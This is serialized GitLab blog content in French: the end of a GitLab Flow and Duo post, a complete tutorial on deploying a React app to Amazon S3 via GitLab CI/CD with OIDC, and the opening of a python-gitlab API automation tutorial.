permettant de soutenir le travail de vos équipes.\n\n### La personnalisation de votre tableau de bord\n\nLe tableau de bord des flux de valeur est un autre tableau de bord personnalisable qui permet aux décideurs d'identifier les tendances et les opportunités d'amélioration du développement logiciel. Il affiche les métriques DORA suivies des indicateurs d'efficacité du processus d'analyse des flux de valeur et du nombre de vulnérabilités critiques et élevées pour le mois en cours, les deux mois précédents et les six derniers mois.\n\nGitLab Duo peut également vous aider dans vos efforts d'amélioration continue. Par exemple, la fonctionnalité de **prédiction de la chaîne de valeur** prend l'historique des données et utilise les tendances de l'ensemble de votre cycle de développement pour prédire le comportement futur de vos indicateurs de chaîne de valeur. Vous pouvez utiliser ces analyses prédictives dans vos efforts d'optimisation.\n\nL'ensemble de ces tableaux de bord et les indicateurs dont ils rendent compte font partie de la boucle de rétroaction externe de GitLab Flow. Ils vous aident à réduire le risque de pannes imprévues dans l'environnement de production, ainsi qu'à améliorer et à optimiser vos applications et vos workflows DevSecOps.\n\n### La fonctionnalité d'analyse d'impact de l'IA\n\nPour mieux comprendre l'impact de l'utilisation de GitLab Duo (ou de l'IA) tout au long du cycle de développement, vous pouvez consulter le tableau de bord d'[analyse d'impact de l'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/). Ce tableau vous indique comment l'adoption de la fonctionnalité de suggestions de code de GitLab Duo impacte d'autres indicateurs de performance, de qualité et de sécurité, sur les six derniers mois, tels que la durée de cycle, le délai d'exécution, la fréquence de déploiement, le taux d'échec des modifications et les vulnérabilités critiques au fil du temps.\n\nL'analyse d'impact de l'IA mesure l'adoption, l'optimisation et les avantages que l'IA apporte aux équipes et à l'entreprise dans son ensemble, et permet également d'identifier des axes d'amélioration.\n\n## Pourquoi utiliser GitLab Flow ?\n\nGitLab Flow est une approche préconisée, suivie par nos clients et utilisateurs du monde entier, qui offre les avantages suivants : \n- Une productivité accrue grâce aux fonctionnalités d'automatisation fournies par GitLab, son interface utilisateur unique et son modèle de données unique, le tout exploité par GitLab Flow.\n- Des informations précises sur le cycle de vie DevSecOps complet pour soutenir l'amélioration continue. \n- Des tableaux de bord et indicateurs intégrés qui peuvent vous aider à optimiser vos applications et vos processus DevSecOps.\n- Une qualité accrue du code et l'amélioration de la fiabilité et de la disponibilité de vos applications.\n- Une meilleure sécurité des applications grâce à des scanners et des fonctionnalités de sécurité intégrés.\n- La conformité et la préparation aux audits via des fonctionnalités de conformité intégrées.\n- Des durées de cycle plus courtes qui peuvent vous aider à augmenter la fréquence de déploiement.\n- La revue en continu activée par la boucle de rétroaction interne de GitLab Flow.\n- La boucle de rétroaction interne de GitLab Flow peut vous aider à optimiser les mises à jour afin d'améliorer la qualité du code, ainsi que la fiabilité et la disponibilité de vos applications.\n- La boucle de rétroaction externe de GitLab Flow peut vous aider à améliorer vos applications ainsi que le cycle de développement lui-même.\n- Des niveaux élevés de collaboration entre les parties prenantes de votre entreprise.\n- L'intégration de la sécurité en amont pour identifier les vulnérabilités dans les applications avant qu'elles ne passent en production, et ainsi éviter les pannes coûteuses et imprévues.\n- La réduction des risques lors du déploiement en production grâce aux techniques de déploiement avancées et aux approches de livraisons échelonnées prises en charge par GitLab.\n- Des fonctionnalités alimentées par l'IA qui couvrent l'ensemble du cycle de développement et peuvent optimiser la productivité, la qualité du code, l'amélioration continue, la sécurité, la conformité et bien plus encore.\n- La prise en charge des applications cloud-native et autres types d'application.\n- La prise en charge multi-cloud pour les applications hybrides/multi-cloud.\n\nPour commencer avec GitLab Flow, tirer parti de la fonctionnalité Auto DevOps de GitLab ou de certains de ses composants est un bon point de départ pour appliquer les principes de GitLab Flow à votre cycle de développement logiciel.\n\n## GitLab Flow et Auto DevOps\n\n![Auto DevOps : une instanciation de GitLab Flow](https://about.gitlab.com/images/blogimages/gitlab-flow-duo/ado-pipeline.png)\n\u003Ccenter>Auto DevOps : une instanciation de GitLab Flow\u003C/center>\u003Cp>\u003C/p>\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) applique GitLab Flow à l'ensemble des étapes et jobs associés. Vous pouvez le considérer comme un bon exemple pour l'instanciation de GitLab Flow.\n\nAuto DevOps est une collection de templates CI/CD prédéfinis et prêts à l'emploi qui détectent automatiquement le code source dont vous disposez. Basés sur les bonnes pratiques, ces templates détectent, compilent, testent, déploient et surveillent automatiquement vos applications.\n\nLe pipeline Auto DevOps intègre la sécurité en amont pour détecter et prévenir les défauts le plus tôt possible dans le processus de livraison de logiciels. Il déploie ensuite l'application en préproduction pour vérification, puis en production de manière incrémentielle/planifiée.\n\nAuto DevOps vous permet de démarrer rapidement, en augmentant la productivité des équipes de développement. Vous pouvez le personnaliser facilement en fonction de vos besoins, grâce à la prise en charge des frameworks et des langages de programmation les plus courants. Auto DevOps étant modulaire, personnalisable et extensible, vous pouvez utiliser certains de ses composants dans vos pipelines ou l'appliquer intégralement à votre application.\n\n## Conclusion\n[Combinez GitLab Flow et GitLab Duo dès aujourd'hui](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2Fblog%2F) pour améliorer considérablement l'efficacité de votre workflow, à chaque étape du cycle de développement logiciel. Ce duo améliore la productivité, la fréquence des déploiements, la qualité du code et la sécurité dans son ensemble, ainsi que la résilience et la disponibilité de l'environnement de production. \n\nPour voir un workflow en action qui combine GitLab Flow et GitLab Duo, et découvrir ses avantages, regardez la vidéo suivante :\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CKrZ4_tKY4I?si=Kf6QsYFIzKkJZpJd\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[110,699,784],{"slug":3122,"featured":6,"template":683},"gitlab-flow-duo","content:fr-fr:blog:gitlab-flow-duo.yml","Gitlab Flow Duo","fr-fr/blog/gitlab-flow-duo.yml","fr-fr/blog/gitlab-flow-duo",{"_path":3128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3129,"content":3135,"config":3142,"_id":3144,"_type":16,"title":3145,"_source":17,"_file":3146,"_stem":3147,"_extension":20},"/fr-fr/blog/how-to-deploy-react-to-amazon-s3",{"title":3130,"description":3131,"ogTitle":3130,"ogDescription":3131,"noIndex":6,"ogImage":3132,"ogUrl":3133,"ogSiteName":841,"ogType":842,"canonicalUrls":3133,"schema":3134},"Comment déployer une application React sur Amazon S3 avec GitLab CI/CD","Vous souhaitez déployer une application React sur Amazon S3 avec GitLab CI/CD ? Suivez notre guide étape par étape.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663291/Blog/Hero%20Images/cover1.jpg","https://about.gitlab.com/blog/how-to-deploy-react-to-amazon-s3","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment déployer une application React sur Amazon S3 avec GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeremy Wagner\"}],\n        \"datePublished\": \"2023-03-01\",\n      }",{"title":3130,"description":3131,"authors":3136,"heroImage":3132,"date":3138,"body":3139,"category":825,"tags":3140,"updatedDate":3141},[3137],"Jeremy Wagner","2023-03-01","Amazon S3 dispose d'une fonctionnalité d'hébergement qui vous permet\nd'héberger un site Web statique directement à partir d'un bucket S3,\négalement appelé compartiment. Lorsque vous hébergez votre site Web sur\nAmazon S3, son contenu est stocké dans un bucket S3 et servi directement à\nvos utilisateurs, sans besoin de ressources supplémentaires. \n\n\nCombinez cela avec Amazon CloudFront et vous obtiendrez une solution\nrentable et évolutive pour l'hébergement de vos sites Web statiques. Une\nfonctionnalité particulièrement utile pour les applications à page unique.\n\n\nDans cet article, nous vous guidons dans la configuration de votre bucket\nAmazon S3, la configuration d'OpenID Connect\n([OIDC](https://openid.net/developers/how-connect-works/ \"OpenID Connect\"))\ndans AWS et le déploiement de votre application sur Amazon S3 à l'aide d'un\npipeline GitLab [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/\n\"Qu'est-ce que le CI/CD ?\").\n\n\nÀ la fin de cet article, vous disposerez d'un [pipeline\nCI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce\nqu'un pipeline CI/CD ?\") construit dans GitLab qui se déploie\nautomatiquement dans votre bucket Amazon S3. \n\n\n## Prérequis\n\n\nPour ce guide, vous aurez besoin des éléments suivants :\n\n\n- [Node.js](https://nodejs.org/fr) >= 14.0.0 et npm >= 5.6 installés sur\nvotre système\n\n- [Git](https://git-scm.com/) installé sur votre système\n\n- Un [compte GitLab](https://gitlab.com/-/trials/new)\n\n- Un [compte AWS](https://aws.amazon.com/fr/free/)\n\n\nDans un [précédent\ntutoriel](https://about.gitlab.com/blog/how-to-automate-testing-for-a-react-application-with-gitlab/)\nnous vous avons expliqué comment : \n\n- créer une nouvelle application React,\n\n- exécuter des tests unitaires dans le cadre du processus CI dans GitLab,\n\n- générer les résultats des tests ainsi que la couverture de code dans le\npipeline.\n\n\nCet article constitue la [suite de ce\nprojet](https://gitlab.com/guided-explorations/engineering-tutorials/react-unit-testing).\nLibre à vous de le parcourir et de le dupliquer (fork). \n\n\n## Configuration de votre bucket S3 \n\n\nPour commencer, vous devez configurer votre bucket Amazon S3. \n\n\n### Créez votre compartiment\n\n\nAprès vous être connecté à votre compte AWS, recherchez « S3 » à l'aide de\nla barre de recherche et sélectionnez le service S3. Cela ouvrira la page\nd'accueil du service.\n\n\nVous devriez immédiatement voir l'option permettant de créer un bucket\n(compartiment). Ce compartiment est l'endroit où vous allez stocker votre\napplication React une fois créée. Cliquez sur le bouton « Créer un\ncompartiment » pour continuer.\n\n\n![Création d'un bucket\nS3](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/create_bucket.png){:\n.shadow}\n\n\nDonnez un nom à votre compartiment, sélectionnez votre région, laissez le\nreste des paramètres par défaut (nous y reviendrons plus tard) et continuez\nen cliquant sur le bouton « Créer un compartiment ». \n\n\nLorsque vous nommez votre compartiment, il est important de se rappeler que\nle nom doit être unique et suivre les règles de nommage des compartiments.\nNous avons nommé le nôtre `jw-gl-react`.\n\n\nUne fois votre compartiment créé, vous devriez être redirigé vers une liste\nde vos compartiments, comme montré ci-dessous. \n\n\n![Liste bucket S3\nAWS](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/bucket_list.png){:\n.shadow}\n\n\n### Configurez l'hébergement de site web statique \n\n\nL'étape suivante consiste à configurer l'hébergement de site web statique.\nOuvrez votre compartiment en cliquant sur son nom. Sélectionnez l'onglet «\nPropriétés »  et faites défiler vers le bas pour trouver l'option\nd'hébergement de site web statique.\n\n\n![Configuration de l'hébergement de site web\nstatique](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/static_hosting_1.png){:\n.shadow}\n\n\nCliquez sur « Modifier », puis activez l'hébergement de site web statique.\nPour les documents d’index et d’erreur, saisissez `index.html`, puis cliquez\nsur « Enregistrer les modifications ».\n\n\n![Activation de l'hébergement de site web statique sur Amazon\nS3](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/static_hosting_2.png){:\n.shadow}\n\n\n### Configurez les autorisations de votre application React\n\n\nMaintenant que vous avez activé l'hébergement de site web statique, vous\ndevez mettre à jour vos autorisations afin que votre audience puisse accéder\nà votre site web. Revenez à votre compartiment et sélectionnez l'onglet «\nAutorisations ».\n\n\nSous « Bloquer l'accès public » (paramètres du compartiment), cliquez sur «\nModifier », décochez « Bloquer tous les accès publics » et continuez en\ncliquant sur « Enregistrer les modifications ».\n\n\n![Bloquer l'accès\npublic](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/block_access_1.png){:\n.shadow}\n\n\nVotre page devrait maintenant ressembler à ceci : \n\n\n![Configurer permission bucket S3\nAWS](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/block_access_2.png){:\n.shadow}\n\n\nMaintenant, vous devez modifier la stratégie de compartiment. Pour cela,\ncliquez sur le bouton « Modifier » dans la section « Stratégie de\ncompartiment » et collez le code suivant :\n\n\n```javascript\n\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"PublicReadGetObject\",\n            \"Effect\": \"Allow\",\n            \"Principal\": \"*\",\n            \"Action\": \"s3:GetObject\",\n            \"Resource\": \"arn:aws:s3:::jw-gl-react/*\"\n        }\n    ]\n}\n\n```\n\n\nÀ la ligne « Ressource », remplacez `jw-gl-react`  par le nom de votre\ncompartiment et enregistrez les modifications.\n\n\nVotre compartiment devrait ressembler à ceci : \n\n\n![Bucket S3 accès\npublic](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/block_access_3.png){:\n.shadow}\n\n\n## Chargement de votre application React\n\n\nMaintenant, créons votre application React et publions-la manuellement dans\nvotre bucket S3.\n\n\nPour créer l'application, assurez-vous que votre projet soit cloné sur votre\nmachine locale et exécutez la commande suivante dans votre terminal à\nl'intérieur du répertoire de votre dépôt :\n\n\n```\n\nnpm run build\n\n```\n\nCela créera un dossier `build` à l'intérieur du répertoire de votre dépôt. \n\n\nDans votre compartiment, cliquez sur le bouton « Charger »\n\n\n![Chargement de l'application\nReact](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/upload_1.png){:\n.shadow}\n\n\nFaites glisser le contenu de votre dossier nouvellement créé (et non le\ndossier lui-même) dans la zone de chargement. Cela chargera le contenu de\nvotre application React dans votre compartiment. Assurez-vous de cliquer sur\n« Charger » en bas de la page pour démarrer le chargement.\n\n\nRevenez maintenant à l'onglet « Propriétés » de votre compartiment et faites\ndéfiler vers le bas pour trouver l'URL de votre site web statique.\n\n\n![URL du site web\nstatique](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/upload_2.png){:\n.shadow}\n\n\nCliquez sur le lien et vous devriez voir votre application React\nnouvellement créée s'ouvrir dans votre navigateur.\n\n\n![Application React\ndéployée](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/manual_deploy.png){:\n.shadow}\n\n\n## Configuration d’OpenID Connect dans AWS\n\n\nPour déployer sur votre bucket S3 depuis GitLab, nous allons utiliser un job\nGitLab CI/CD pour  recevoir des informations d'identification temporaires\nd'AWS sans avoir besoin de stocker des secrets. Pour ce faire, nous allons\nconfigurer OpenID Connect pour la fédération d'identité entre GitLab et AWS.\nNous suivrons la [documentation de GitLab\nassociée](https://docs.gitlab.com/ee/ci/cloud_services/aws/).\n\n\n### Ajoutez un fournisseur d'identité \n\n\nLa première étape consiste à ajouter GitLab en tant que fournisseur\nd’identité OpenID Connect (OIDC) dans IAM. AWS fournit des\n[instructions](https://docs.aws.amazon.com/fr_fr/IAM/latest/UserGuide/id_roles_providers_create_oidc.html),\nmais nous allons les parcourir étape par étape dans ce guide.\n\n\nOuvrez tout d'abord la console IAM dans AWS.\n\n\n![Console IAM dans\nAWS](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/iam_1.png){:\n.shadow} \n\n\nDans le volet de navigation de gauche, sous « Gestion des accès »,\nchoisissez « Fournisseurs d'identité », puis « Ajouter un fournisseur ».\nPour le type de fournisseur, sélectionnez « OpenID Connect ».\n\n\nPour l'URL du fournisseur, saisissez l'adresse de votre instance GitLab,\ntelle que `https://gitlab.com` ou `https://gitlab.example.com`.\n\n\nPour « Audience », saisissez quelque chose de générique mais spécifique à\nvotre application React. Dans notre cas, nous allons utiliser `react_s3_gl`.\nVeillez à choisir quelque chose qui ne soit pas facile à deviner et prenez\nnote de cette valeur, car vous l'utiliserez pour définir l'`ID_TOKEN` dans\nvotre fichier `.gitLab-ci.yml`.\n\n\nAprès avoir saisi l'URL du fournisseur, cliquez sur « Obtenir une empreinte\nnumérique »  pour vérifier le certificat du serveur de votre fournisseur\nd'identité. Ensuite, continuez et cliquez sur « Ajouter un fournisseur »\npour terminer.\n\n\n### Créez une politique d’autorisations\n\n\nAprès avoir créé le fournisseur d'identité, vous devez créer une politique\nd’autorisations. \n\n\nDepuis le tableau de bord IAM, sous « Gestion des accès », sélectionnez «\nPolitiques » puis « Créer une politique ». Sélectionnez l'onglet JSON et\ncollez le code suivant en remplaçant `jw-gl-react` par le nom de votre\ncompartiment à la ligne « Ressource ».\n\n\n```javascript\n\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:ListBucket\"],\n      \"Resource\": [\"arn:aws:s3:::jw-gl-react\"]\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:PutObject\",\n        \"s3:GetObject\",\n        \"s3:DeleteObject\"\n      ],\n      \"Resource\": [\"arn:aws:s3:::jw-gl-react/*\"]\n    }\n  ]\n}\n\n```\n\n\nSélectionnez le bouton « Suivant : Balises » , ajoutez les balises\nsouhaitées, puis sélectionnez le bouton « Suivant : Confirmer ». Entrez un\nnom pour votre politique avant de terminer sa création.\n\n\n### Configurez le rôle\n\n\nIl est maintenant temps d'ajouter le rôle. Depuis le tableau de bord IAM,\nsous « Gestion des accès  », sélectionnez « Rôles », puis cliquez sur «\nCréer un rôle » et choisissez « Identité Web ».\n\n\nDans la section « Identité Web », sélectionnez le fournisseur d'identité que\nvous avez créé précédemment. Pour l'audience, sélectionnez également\nl'audience que vous avez créée précédemment. Cliquez sur le bouton « Suivant\n» pour continuer.\n\n\nSi vous souhaitez limiter l'autorisation à un groupe, un projet, une branche\nou une balise spécifique, vous pouvez créer une « Politique d’approbation\npersonnalisée » (Custom Trust Policy) au lieu d'une « Identité Web ».\n\n\nPour une liste complète des types de filtres qu'il est possible d'appliquer,\n[consultez notre\ndocumentation](https://docs.gitlab.com/ee/ci/cloud_services/index.html#configure-a-conditional-role-with-oidc-claims). \n\n\n![Configuration du rôle dans\nl'IAM](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/iam_2.png){:\n.shadow}\n\n\nAu cours de l'étape « Ajout des autorisations », sélectionnez la politique\nque vous avez créée, puis cliquez sur « Suivant » pour continuer. Donnez un\nnom à votre rôle et cliquez sur « Créer un rôle ».\n\n\nOuvrez le rôle que vous venez de créer. Dans la section « Récapitulatif »,\nrecherchez le nom de ressource Amazon (ARN) et enregistrez-le dans un\nendroit sécurisé. Vous l'utiliserez dans votre pipeline.\n\n\n![Déployer le rôle dans\nl'IAM](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/iam_3.png){:\n.shadow}\n\n\n## Déploiement sur votre compartiment Amazon S3 à l'aide d'un pipeline\nGitLab CI/CD\n\n\nDans votre projet, créez deux [variables\nCI/CD](https://docs.gitlab.com/ci/variables/#define-a-cicd-variable-in-the-ui)\n:\n\n\n- La première variable doit être nommée `ROLE_ARN`. Pour la valeur, collez\nl'ARN du rôle que vous venez de créer.\n\n- La deuxième variable doit être nommée `S3_BUCKET`. Pour la valeur, collez\nle nom du compartiment que vous avez créé plus tôt.\n\n\nPour des raisons de sécurité, dans cet article nous avons choisi de masquer\nnos variables.\n\n\n### Récupérez vos identifiants temporaires\n\n\nDans votre fichier `.gitlab-ci.yml`, collez le code suivant :\n\n\n```\n\n.assume_role: &assume_role\n    - >\n      STS=($(aws sts assume-role-with-web-identity\n      --role-arn ${ROLE_ARN}\n      --role-session-name \"GitLabRunner-${CI_PROJECT_ID}-${CI_PIPELINE_ID}\"\n      --web-identity-token $ID_TOKEN\n      --duration-seconds 3600\n      --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'\n      --output text))\n    - export AWS_ACCESS_KEY_ID=\"${STS[0]}\"\n    - export AWS_SECRET_ACCESS_KEY=\"${STS[1]}\"\n    - export AWS_SESSION_TOKEN=\"${STS[2]}\"\n```\n\n\nCela va utiliser le service de jeton de sécurité AWS (AWS Security Token\nService) pour générer des identifiants temporaires (3 600 secondes) en\nutilisant le rôle OpenID Connect que vous avez créé précédemment.\n\n\n### Créez le job de déploiement pour votre application React\n\n\nMaintenant, ajoutons un job de compilation et de déploiement pour créer\nvotre application et la déployer sur votre bucket S3.\n\n\nTout d'abord, mettez à jour les étapes dans votre fichier `.gitlab-ci.yml`\npour inclure une étape `build` et `deploy`, comme indiqué ci-dessous :\n\n\n```\n\nstages:\n  - build\n  - test\n  - deploy\n```\n\n\nEnsuite, ajoutons un job pour créer votre application. Collez le code\nsuivant dans votre fichier `.gitLab-ci.yml` :\n\n\n```\n\nbuild artifact:\n  stage: build\n  image: node:latest\n  before_script:\n    - npm install\n  script:\n    - npm run build\n  artifacts:\n    paths:\n      - build/\n    when: always\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n```\n\n\nCela va exécuter `npm run build` si le changement se produit sur la branche\n`main` et télécharger le répertoire de compilation (build directory) en tant\nqu'artefact à utiliser lors de l'étape suivante.\n\n\nEnsuite, ajoutons un job qui sera réellement déployé sur votre bucket S3.\nCollez le code suivant dans votre fichier `.gitLab-ci.yml` :\n\n\n```\n\ndeploy s3:\n  stage: deploy\n  image:\n    name: amazon/aws-cli:latest\n    entrypoint: \n      - '/usr/bin/env'\n  id_tokens:\n      ID_TOKEN:\n        aud: react_s3_gl\n  script:\n    - *assume_role\n    - aws s3 sync build/ s3://$S3_BUCKET\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n```\n\n\nCela utilise les [ancres\nYAML](https://docs.gitlab.com/ee/ci/yaml/yaml_optimization.html#yaml-anchors-for-scripts)\npour exécuter le script `assume_role`, puis utilise `aws cli` pour\ntélécharger votre artefact de compilation dans le compartiment que vous avez\ndéfini en tant que variable. Ce job ne s'exécute que si le changement se\nproduit sur la branche `main`.\n\n\nAssurez-vous que la valeur `aud` correspond à celle que vous avez saisie\npour votre audience au moment de la configuration du fournisseur d'identité.\nDans notre cas, nous avons saisi `react-s3_gl`.\n\n\nVotre fichier `.gitLab-ci.yml` complet devrait ressembler à ceci :\n\n\n```\n\nstages:\n  - build\n  - test\n  - deploy\n\n.assume_role: &assume_role\n    - >\n      STS=($(aws sts assume-role-with-web-identity\n      --role-arn ${ROLE_ARN}\n      --role-session-name \"GitLabRunner-${CI_PROJECT_ID}-${CI_PIPELINE_ID}\"\n      --web-identity-token $ID_TOKEN\n      --duration-seconds 3600\n      --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]'\n      --output text))\n    - export AWS_ACCESS_KEY_ID=\"${STS[0]}\"\n    - export AWS_SECRET_ACCESS_KEY=\"${STS[1]}\"\n    - export AWS_SESSION_TOKEN=\"${STS[2]}\"\n\nunit test:\n  image: node:latest\n  stage: test\n  before_script:\n    - npm install\n  script:\n    - npm run test:ci\n  coverage: /All files[^|]*\\|[^|]*\\s+([\\d\\.]+)/\n  artifacts:\n    paths:\n      - coverage/\n    when: always\n    reports:\n      junit:\n        - junit.xml\n\nbuild artifact:\n  stage: build\n  image: node:latest\n  before_script:\n    - npm install\n  script:\n    - npm run build\n  artifacts:\n    paths:\n      - build/\n    when: always\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n\ndeploy s3:\n  stage: deploy\n  image:\n    name: amazon/aws-cli:latest\n    entrypoint: \n      - '/usr/bin/env'\n  id_tokens:\n      ID_TOKEN:\n        aud: react_s3_gl\n  script:\n    - *assume_role\n    - aws s3 sync build/ s3://$S3_BUCKET\n  rules:\n    - if: '$CI_COMMIT_REF_NAME == \"main\"'\n      when: always\n```\n\n\n### Testez votre pipeline\n\n\nPour tester votre pipeline, dans `App.js`, modifiez cette ligne `Edit\n\u003Ccode>src/App.js\u003C/code> and save to reload.` par ceci :  `This was deployed\nfrom GitLab`. Maintenant, validez vos modifications dans la branche `main`.\nLe pipeline devrait se lancer et une fois terminé avec succès, vous devriez\nvoir votre application mise à jour avec l'URL de votre site web statique.\n\n\n![Application React mise à\njour](https://about.gitlab.com/images/blogimages/2023-02-10-how-to-deploy-react-to-amazon-s3/auto_deploy.png){:\n.shadow}\n\n\nVous disposez désormais d'un pipeline CI/CD construit dans GitLab qui reçoit\ndes informations d'identification temporaires d'AWS à l'aide d'OpenID\nConnect et qui se déploie automatiquement dans votre compartiment Amazon S3.\nPour aller plus loin, vous pouvez [sécuriser votre\napplication](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html)\navec les outils de sécurité intégrés de GitLab.\n\n\nDécouvrez [tout le\ncode](https://gitlab.com/guided-explorations/engineering-tutorials/react-s3)\nde ce projet.\n",[1420,110],"2025-03-27",{"slug":3143,"featured":6,"template":683},"how-to-deploy-react-to-amazon-s3","content:fr-fr:blog:how-to-deploy-react-to-amazon-s3.yml","How To Deploy React To Amazon S3","fr-fr/blog/how-to-deploy-react-to-amazon-s3.yml","fr-fr/blog/how-to-deploy-react-to-amazon-s3",{"_path":3149,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3150,"content":3156,"config":3161,"_id":3163,"_type":16,"title":3164,"_source":17,"_file":3165,"_stem":3166,"_extension":20},"/fr-fr/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"title":3151,"description":3152,"ogTitle":3151,"ogDescription":3152,"noIndex":6,"ogImage":3153,"ogUrl":3154,"ogSiteName":841,"ogType":842,"canonicalUrls":3154,"schema":3155},"Utiliser l'API python-gitlab pour améliorer vos workflows DevSecOps","Vous souhaitez améliorer vos workflows DevSecOps ? Découvrez dans ce tutoriel des exemples et bonnes pratiques d’utilisation de l’API python-gitlab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659883/Blog/Hero%20Images/post-cover-image.jpg","https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Utiliser l'API python-gitlab pour améliorer vos workflows DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-02-01\",\n      }",{"title":3151,"description":3152,"authors":3157,"heroImage":3153,"date":3158,"body":3159,"category":825,"tags":3160},[2431],"2023-02-01","Un jour, un ami m’a dit : « Le travail manuel est un bug ». Depuis, face à\ndes tâches répétitives, j’ai pris l’habitude de les automatiser autant que\npossible. \n\n\nPar exemple, en interrogeant une [API\nREST](https://about.gitlab.com/fr-fr/blog/what-is-rest-api/ \"API\nREST\") pour faire un inventaire des paramètres, ou en effectuant des appels\nd’API pour créer de nouveaux commentaires dans les tickets ou les merge\nrequests de GitLab. L'interaction avec l'API REST de GitLab peut se faire de\ndifférentes manières, en utilisant des requêtes HTTP avec curl (ou\n[hurl](https://about.gitlab.com/blog/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd/\n\"hurl\")) en ligne de commande, ou en écrivant un script dans un langage de\nprogrammation. \n\n\nDans ce dernier cas, il faut effectuer des tâches fastidieuses avec le code\nbrut des requêtes HTTP et l'analyse des réponses JSON. Grâce à la communauté\nGitLab, de nombreux langages sont pris en charge par les bibliothèques\nd'abstraction d'API. Elles prennent en charge tous les attributs de l’API,\najoutent des fonctions d'aide pour obtenir, créer et supprimer des objets,\net facilitent ainsi la tâche des équipes de développement. La [bibliothèque\npython-gitlab](https://python-gitlab.readthedocs.io/en/stable/ \"Bibliothèque\npython-gitlab\") est une bibliothèque écrite en Python, riche en\nfonctionnalités et facile à utiliser.\n\n\nDans cet article, vous apprendrez les bases de l’utilisation de la\nbibliothèque python-gitlab en vous familiarisant avec les objets de l’API,\nles attributs, la pagination et les ensembles de résultats. Vous découvrirez\négalement des cas d'utilisation concrets tels que la collecte de données, la\ngénération de synthèses et l’écriture de données dans l'API pour créer des\ncommentaires et des validations. \n\n\nIl y a encore beaucoup à apprendre, avec de nombreux cas d'utilisation\ninspirés des questions posées par la communauté sur le forum, Hacker News,\ndes tickets, et bien plus encore.\n\n\n## Premiers pas\n\n\nLa [documentation\npython-gitlab](https://python-gitlab.readthedocs.io/en/stable/api-usage.html\n\"Documentation python-gitlab\") est une excellente ressource pour débuter.\nElle offre un aperçu des types d'objets et de leurs méthodes, ainsi que des\nexemples de workflows combinés. Cette ressource est idéale pour faire vos\npremiers pas, en plus de la [documentation sur les ressources de l'API\nGitLab](https://docs.gitlab.com/ee/api/api_resources.html \"Documentation sur\nles ressources de l'API GitLab\") qui fournit les attributs d'objet associés.\n\n\nLes exemples de code présentés dans cet article nécessitent Python 3.8+ et\nla bibliothèque `python-gitlab`. Des exigences supplémentaires sont\nspécifiées dans le fichier `requirements.txt`. Un exemple nécessite `pyyaml`\npour l'analyse de la configuration YAML. Pour suivre et mettre en pratique\nle code des cas d'utilisation, il est recommandé de cloner le projet,\nd'installer les prérequis et d'exécuter les scripts. \n\n\nExemple avec Homebrew sur macOS :\n\n\n```shell\n\ngit clone\nhttps://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python.git\n\n\ncd gitlab-api-python\n\n\nbrew install python\n\n\npip3 install -r requirements.txt\n\n\npython3 \u003Cscriptname>.py\n\n```\n\n\nLes scripts n'utilisent pas de bibliothèque partagée commune fournissant des\nfonctions génériques pour la lecture des paramètres ou d’autres\nfonctionnalités d'aide supplémentaires. L’objectif est de montrer des\nexemples faciles à suivre, qui peuvent être utilisés de manière autonome\npour des tests, et qui nécessitent uniquement l'installation de la\nbibliothèque python-gitlab.\n\n\nNous recommandons d'améliorer le code pour une utilisation en production.\nCela vous aidera à créer un projet d’API tooling maintenu, incluant par\nexemple des images de conteneurs et des modèles CI/CD que 